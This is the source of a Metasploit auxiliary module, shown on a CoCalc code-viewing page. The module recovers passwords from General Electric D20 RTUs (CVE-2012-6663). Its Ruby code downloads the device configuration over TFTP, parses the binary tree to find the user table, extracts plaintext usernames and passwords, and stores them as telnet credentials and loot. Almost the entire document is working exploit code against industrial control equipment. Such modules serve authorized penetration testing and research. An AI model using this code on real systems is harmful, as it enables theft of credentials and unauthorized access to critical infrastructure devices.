CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/gather/d20pass.rb
Views: 11623
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
##
7
# This module grabs the device configuration from a GE D20M* RTU and
8
# parses the usernames and passwords from it.
9
##
10
11
12
class MetasploitModule < Msf::Auxiliary
13
include Rex::Ui::Text
14
include Rex::Proto::TFTP
15
include Msf::Exploit::Remote::Udp
16
include Msf::Auxiliary::Report
17
18
def initialize(info = {})
19
super(update_info(info,
20
'Name' => 'General Electric D20 Password Recovery',
21
'Description' => %q{
22
The General Electric D20ME and possibly other units (D200?) feature
23
TFTP readable configurations with plaintext passwords. This module
24
retrieves the username, password, and authentication level list.
25
},
26
'Author' => [ 'K. Reid Wightman <wightman[at]digitalbond.com>' ],
27
'License' => MSF_LICENSE,
28
'References' =>
29
[
30
['CVE', '2012-6663'],
31
],
32
'DisclosureDate' => '2012-01-19'
33
))
34
35
register_options(
36
[
37
Opt::RPORT(69),
38
Opt::RHOST('192.168.255.1'),
39
OptString.new('REMOTE_CONFIG_NAME', [true, "The remote filename used to retrieve the configuration", "NVRAM\\D20.zlb"])
40
])
41
end
42
43
def setup
44
@rhost = datastore['RHOST']
45
@rport = datastore['RPORT'] || 69
46
@lport = datastore['LPORT'] || (1025 + rand(0xffff - 1025))
47
@lhost = datastore['LHOST'] || "0.0.0.0"
48
@rfile = datastore['REMOTE_CONFIG_NAME']
49
end
50
51
def cleanup
52
if @tftp_client and @tftp_client.respond_to? :complete
53
while not @tftp_client.complete
54
select(nil,nil,nil,1)
55
vprint_status "Cleaning up the TFTP client ports and threads."
56
@tftp_client.stop
57
end
58
end
59
end
60
61
def rtarget(ip=nil)
62
if (ip or rhost) and rport
63
[(ip || rhost),rport].map {|x| x.to_s}.join(":") << " "
64
elsif (ip or rhost)
65
rhost
66
else
67
""
68
end
69
end
70
71
# Retrieve the file
72
def retrieve
73
print_status("Retrieving file")
74
@tftp_client = Rex::Proto::TFTP::Client.new(
75
"LocalHost" => @lhost,
76
"LocalPort" => @lport,
77
"PeerHost" => @rhost,
78
"PeerPort" => @rport,
79
"RemoteFile" => @rfile,
80
"Action" => :download
81
)
82
@tftp_client.send_read_request { |msg| print_tftp_status(msg) }
83
@tftp_client.threads do |thread|
84
thread.join
85
end
86
# Wait for GET to finish
87
while not @tftp_client.complete
88
select(nil, nil, nil, 0.1)
89
end
90
fh = @tftp_client.recv_tempfile
91
return fh
92
end
93
94
# Builds a big-endian word
95
def makeword(bytestr)
96
return bytestr.unpack("n")[0]
97
end
98
# builds abi
99
def makelong(bytestr)
100
return bytestr.unpack("N")[0]
101
end
102
103
# Returns a pointer. We re-base the pointer
104
# so that it may be used as a file pointer.
105
# In the D20 memory, the file is located in flat
106
# memory at 0x00800000.
107
def makefptr(bytestr)
108
ptr = makelong(bytestr)
109
ptr = ptr - 0x00800000
110
return ptr
111
end
112
113
# Build a string out of the file. Assumes that the string is
114
# null-terminated. This will be the case in the D20 Username
115
# and Password fields.
116
def makestr(f, strptr)
117
f.seek(strptr)
118
str = ""
119
b = f.read(1)
120
if b != 0
121
str = str + b
122
end
123
while b != "\000"
124
b = f.read(1)
125
if b != "\000"
126
str = str + b
127
end
128
end
129
return str
130
end
131
132
# configuration section names in the file are always
133
# 8 bytes. Sometimes they are null-terminated strings,
134
# but not always, so I use this silly helper function.
135
def getname(f, entryptr)
136
f.seek(entryptr + 12) # three ptrs then name
137
str = f.read(8)
138
return str
139
end
140
141
def leftchild(f, entryptr)
142
f.seek(entryptr + 4)
143
ptr = f.read(4)
144
return makefptr(ptr)
145
end
146
147
def rightchild(f, entryptr)
148
f.seek(entryptr + 8)
149
ptr = f.read(4)
150
return makefptr(ptr)
151
end
152
153
# find the entry in the configuration file.
154
# the file is a binary tree, with pointers to parent, left, right
155
# stored as 32-bit big-endian values.
156
# sorry for depth-first recursion
157
def findentry(f, name, start)
158
f.seek(start)
159
myname = getname(f, start)
160
if name == myname
161
return start
162
end
163
left = leftchild(f, start)
164
right = rightchild(f, start)
165
if name < myname
166
if left < f.stat.size and left != 0
167
res = findentry(f, name, leftchild(f, start))
168
else
169
res = nil # this should perolate up
170
end
171
end
172
if name > myname
173
if right < f.stat.size and right != 0
174
res = findentry(f, name, rightchild(f, start))
175
else
176
res = nil
177
end
178
end
179
return res
180
end
181
182
def report_cred(opts)
183
service_data = {
184
address: opts[:ip],
185
port: opts[:port],
186
service_name: opts[:service_name],
187
protocol: 'tcp',
188
workspace_id: myworkspace_id
189
}
190
191
credential_data = {
192
origin_type: :service,
193
module_fullname: fullname,
194
username: opts[:user],
195
private_data: opts[:password],
196
private_type: :password
197
}.merge(service_data)
198
199
login_data = {
200
core: create_credential(credential_data),
201
status: Metasploit::Model::Login::Status::UNTRIED,
202
proof: opts[:proof]
203
}.merge(service_data)
204
205
create_credential_login(login_data)
206
end
207
208
# Parse the usernames, passwords, and security levels from the config
209
# It's a little ugly (lots of hard-coded offsets).
210
# The userdata starts at an offset dictated by the B014USERS config
211
# offset 0x14 (20) bytes. The rest is all about skipping past the
212
# section header.
213
def parseusers(f, userentryptr)
214
f.seek(userentryptr + 0x14)
215
dstart = makefptr(f.read(4))
216
f.seek(userentryptr + 0x1C)
217
numentries = makelong(f.read(4))
218
f.seek(userentryptr + 0x60)
219
headerlen = makeword(f.read(2))
220
f.seek(userentryptr + 40) # sorry decimal
221
entrylen = makeword(f.read(2)) # sorry this is decimal
222
logins = Rex::Text::Table.new(
223
'Header' => "D20 usernames, passwords, and account levels\n(use for TELNET authentication)",
224
'Indent' => 1,
225
'Columns' => ["Type", "User Name", "Password"])
226
227
0.upto(numentries -1).each do |i|
228
f.seek(dstart + headerlen + i * entrylen)
229
accounttype = makeword(f.read(2))
230
f.seek(dstart + headerlen + i * entrylen + 2)
231
accountname = makestr(f, dstart + headerlen + i * entrylen + 2)
232
f.seek(dstart + headerlen + i * entrylen + 2 + 22)
233
accountpass = makestr(f, dstart + headerlen + i * entrylen + 2 + 22)
234
if accountname.size + accountpass.size > 44
235
print_error("Bad account parsing at #{dstart + headerlen + i * entrylen}")
236
break
237
end
238
logins << [accounttype, accountname, accountpass]
239
report_cred(
240
ip: datastore['RHOST'],
241
port: 23,
242
service_name: 'telnet',
243
user: accountname,
244
password: accountpass,
245
proof: accounttype
246
)
247
end
248
if not logins.rows.empty?
249
loot = store_loot(
250
"d20.user.creds",
251
"text/csv",
252
datastore['RHOST'],
253
logins.to_s,
254
"d20_user_creds.txt",
255
"General Electric TELNET User Credentials",
256
datastore['RPORT']
257
)
258
print_line logins.to_s
259
print_status("Loot stored in: #{loot}")
260
else
261
print_error("No data collected")
262
end
263
end
264
265
def parse(fh)
266
print_status("Parsing file")
267
File.open(fh.path, 'rb') do |f|
268
used = f.read(4)
269
if used != "USED"
270
print_error "Invalid Configuration File!"
271
return
272
end
273
f.seek(0x38)
274
start = makefptr(f.read(4))
275
userptr = findentry(f, "B014USER", start)
276
if userptr != nil
277
parseusers(f, userptr)
278
else
279
print_error "Error finding the user table in the configuration."
280
end
281
end
282
end
283
284
def run
285
fh = retrieve
286
parse(fh)
287
end
288
289
def print_tftp_status(msg)
290
case msg
291
when /Aborting/, /errors.$/
292
print_error [rtarget,msg].join
293
when /^WRQ accepted/, /^Sending/, /complete!$/
294
print_good [rtarget,msg].join
295
else
296
vprint_status [rtarget,msg].join
297
end
298
end
299
end
300
301